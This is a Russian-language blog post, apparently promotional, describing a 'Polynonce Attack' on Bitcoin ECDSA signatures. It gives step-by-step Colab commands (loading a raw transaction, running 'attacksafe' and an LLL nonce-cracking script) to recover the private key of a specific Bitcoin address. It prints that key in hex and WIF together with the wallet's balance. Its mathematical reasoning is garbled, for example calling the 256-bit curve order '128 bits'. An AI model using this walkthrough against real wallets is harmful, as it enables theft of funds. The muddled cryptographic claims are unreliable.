POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа

В этой статье мы опять затронем тему: “Критической уязвимости Биткоина” и на всех трех примерах применим совершенно новую атаку 2023 года “POLYNONCE ATTACK”. Самые первые упоминание об этой атаке описано в статье от “Kudelski Security”.

POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа Криптовалюта, Биткоины, NFT, Финансы, Валюта, Доллары, Биржа, Видео, YouTube, Длиннопост
POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа Криптовалюта, Биткоины, NFT, Финансы, Валюта, Доллары, Биржа, Видео, YouTube, Длиннопост

За практическую основу мы будем брать материалы из нашей ранней статьи Speed up secp256k1 with endomorphism” где значения на кривой secp256k1 от Hal Finney  LAMBDA и BETA скрываю всю глубину неизвестности эллиптических кривых Биткоина.

Нам многое может открыть Binary number (4 digits): "1111" // Hex number: "F" //

POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа Криптовалюта, Биткоины, NFT, Финансы, Валюта, Доллары, Биржа, Видео, YouTube, Длиннопост

https://www.rapidtables.com/convert/number/hex-to-binary.html

Также нам прекрасно известно, порядок кривой secp256k1 который состоит из 128 bits Binary number (4 digits): “1111” // Hex number: “F” //

n = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141

1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111010111010101011101101110011100110101011110100100010100000001110111011111111010010010111101000110011010000001101100100000101000001

Мы видим что полинома как единица в бинарном коде произвольно высокой степени 128 bits по модулю

POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа Криптовалюта, Биткоины, NFT, Финансы, Валюта, Доллары, Биржа, Видео, YouTube, Длиннопост

Speed up secp256k1 with endomorphism

Учитывая этот факт первоначальный бит приватного ключа Биткоина будет Binary number (4 digits): “1111” // Hex number: “F” //

За теоретическую основу мы будем брать материалы:

“Polynonce Attack on Bitcoin”

POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа Криптовалюта, Биткоины, NFT, Финансы, Валюта, Доллары, Биржа, Видео, YouTube, Длиннопост

https://attacksafe.ru/polynonce-attack-on-bitcoin

Рассмотрим пример с Биткоин Адресом:

1DxzwX4qC9PsWDSAzuWbJRzEwdGx3n9CJB

POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа Криптовалюта, Биткоины, NFT, Финансы, Валюта, Доллары, Биржа, Видео, YouTube, Длиннопост

929d565c386a279cf7a0382ba48cab1f72d62e7cfb3ab97b4f211d5673bc4441

POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа Криптовалюта, Биткоины, NFT, Финансы, Валюта, Доллары, Биржа, Видео, YouTube, Длиннопост

RawTX

POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа Криптовалюта, Биткоины, NFT, Финансы, Валюта, Доллары, Биржа, Видео, YouTube, Длиннопост

Перейдем на официальный сайт: https://colab.research.google.com

Выберем опцию “Upload notebook”

Загрузим файл: POLYNONCE_ATTACK.ipynb

Загрузим HEX-данные через утилиту echo и сохраним в файл: RawTX.txt

!echo '02000000019e3de154f8b473a796b9e39dd279dff1d907a4d27a1d8b23a055f97b08ad4c6e310000006b483045022100b29bdfc27ddf6bebd0e77c84b31dc1bc64b5b2276c8d4147421e96ef85467e8d02204ddd8ff0ffa19658e3b417be5f64d9c425a4d9fcd76238b8538c1d605b229baf0121027b06fe78e39ced37586c42c9ac38d7b2d88ccdd4cd1bb38816c0933f9b8db695ffffffff0169020000000000001600145fc8e854994406f93ea5c7f3abccc5d319ae2a3100000000' > RawTX.txt

Чтобы реализовать атаку мы воспользуемся программным обеспечение

“ATTACKSAFE SOFTWARE”

POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа Криптовалюта, Биткоины, NFT, Финансы, Валюта, Доллары, Биржа, Видео, YouTube, Длиннопост

www.attacksafe.ru/software

Права доступа:

!chmod +x attacksafe

ls

POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа Криптовалюта, Биткоины, NFT, Финансы, Валюта, Доллары, Биржа, Видео, YouTube, Длиннопост

Чтобы рассчитать приватный ключ к Биткоин Кошельку запустим скрипт crack_weak_ECDSA_nonces_with_LLL.py указав параметры 128 bits 4 sign

python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 128 4 > PrivateKey.txt

cat PrivateKey.txt

POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа Криптовалюта, Биткоины, NFT, Финансы, Валюта, Доллары, Биржа, Видео, YouTube, Длиннопост

Откроем файл: PrivateKey.txt

Мы получили приватный ключ к Биткоин Кошельку в HEX формате

POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа Криптовалюта, Биткоины, NFT, Финансы, Валюта, Доллары, Биржа, Видео, YouTube, Длиннопост

PrivKey = 0xf0a3e31646ce147bbd79bb6e45e6e9c8c4e51c535918c9b4cdca9528eb62172d

Проверим POLYNONCE для каждой подписи ECDSA

https://github.com/demining/CryptoDeepTools/blob/main/20PolynonceAttack/example1/POLYNONCE.py

Результат:

POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа Криптовалюта, Биткоины, NFT, Финансы, Валюта, Доллары, Биржа, Видео, YouTube, Длиннопост

Мы получили четыре одинаковых первоначальных 128 bits

POLYNONCE >> 93e43392cb31d5d1f75175ee64ce16b7 efc86216627af576c29c9c52a0fd10fe POLYNONCE >> 93e43392cb31d5d1f75175ee64ce16b7 f88ff4c8a9ea4b61b1e087d0c0988826 POLYNONCE >> 93e43392cb31d5d1f75175ee64ce16b7 6849e83cd03d103bcc37aca8323c8d2f POLYNONCE >> 93e43392cb31d5d1f75175ee64ce16b7 efc86216627af576c29c9c52a0fd10fe

Благодаря значение на кривой secp256k1 от Hal Finney  LAMBDA и BETA раскрыл нам одинаковые первоначальные биты 128 bits так как первоначальные бит приватного ключа к Биткоин Кошельку начинается с Binary number (4 digits): "1111" // Hex number: "F" //

Проверим HEX приватного ключа:

Установим модуль bitcoin

!pip3 install bitcoin

Откроем файл: PrivateKeyAddr.txt

POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа Криптовалюта, Биткоины, NFT, Финансы, Валюта, Доллары, Биржа, Видео, YouTube, Длиннопост

f0a3e31646ce147bbd79bb6e45e6e9c8c4e51c535918c9b4cdca9528eb62172d:1DxzwX4qC9PsWDSAzuWbJRzEwdGx3n9CJB

Откроем bitaddress и проверим:

ADDR: 1DxzwX4qC9PsWDSAzuWbJRzEwdGx3n9CJB WIF: L5HV2GiosXifcmijGCpFWdYiMRuXh4x4JVK29urGjfAWyasBYoDX HEX: f0a3e31646ce147bbd79bb6e45e6e9c8c4e51c535918c9b4cdca9528eb62172d

POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа Криптовалюта, Биткоины, NFT, Финансы, Валюта, Доллары, Биржа, Видео, YouTube, Длиннопост

https://blockchair.com/ru/bitcoin/address/1DxzwX4qC9PsWDSAzu...

POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа Криптовалюта, Биткоины, NFT, Финансы, Валюта, Доллары, Биржа, Видео, YouTube, Длиннопост
POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа Криптовалюта, Биткоины, NFT, Финансы, Валюта, Доллары, Биржа, Видео, YouTube, Длиннопост
POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа Криптовалюта, Биткоины, NFT, Финансы, Валюта, Доллары, Биржа, Видео, YouTube, Длиннопост

BALANCE: $ 3699.40

Literature:

  • A Novel Related Nonce Attack for ECDSA, Marco Macchetti [Kudelski Security, Switzerland] (2023)

  • Gallant, Robert P., Robert J. Lambert, and Scott A. Wanston. “Faster point multiplication on elliptic curves with efficient endomorphisms” . Annual International Conference on Cryptology, pp. 190–200. Springer, Berlin, Heidelberg, (2001)

  • Hankerson, Darrell, Alfred J. Menezes, and Scott Wanston. “A Guide to Elliptic Curve Cryptography” . Computer Reviews 46, no. 1 (2005)

  • Hal Finney. bitcointalk –  “Acceleration of signature verification” . (2011) https://bitcointalk.org/index.php?topic=3238.0

  • Blahut, Richard E.  “Cryptography and Secure Communication” . Cambridge University Press, (2014)

Исходный код

ATTACKSAFE SOFTWARE

Telegram: https://t.me/cryptodeeptech

Видеоматериал: https://youtu.be/7nKs_KHtyn4

Источник: https://cryptodeep.ru/polynonce-attack

POLYNONCE ATTACK используем подписи BITCOIN как полиному в произвольно высокой степени 128 bits для получение приватного ключа Криптовалюта, Биткоины, NFT, Финансы, Валюта, Доллары, Биржа, Видео, YouTube, Длиннопост

Криптоанализ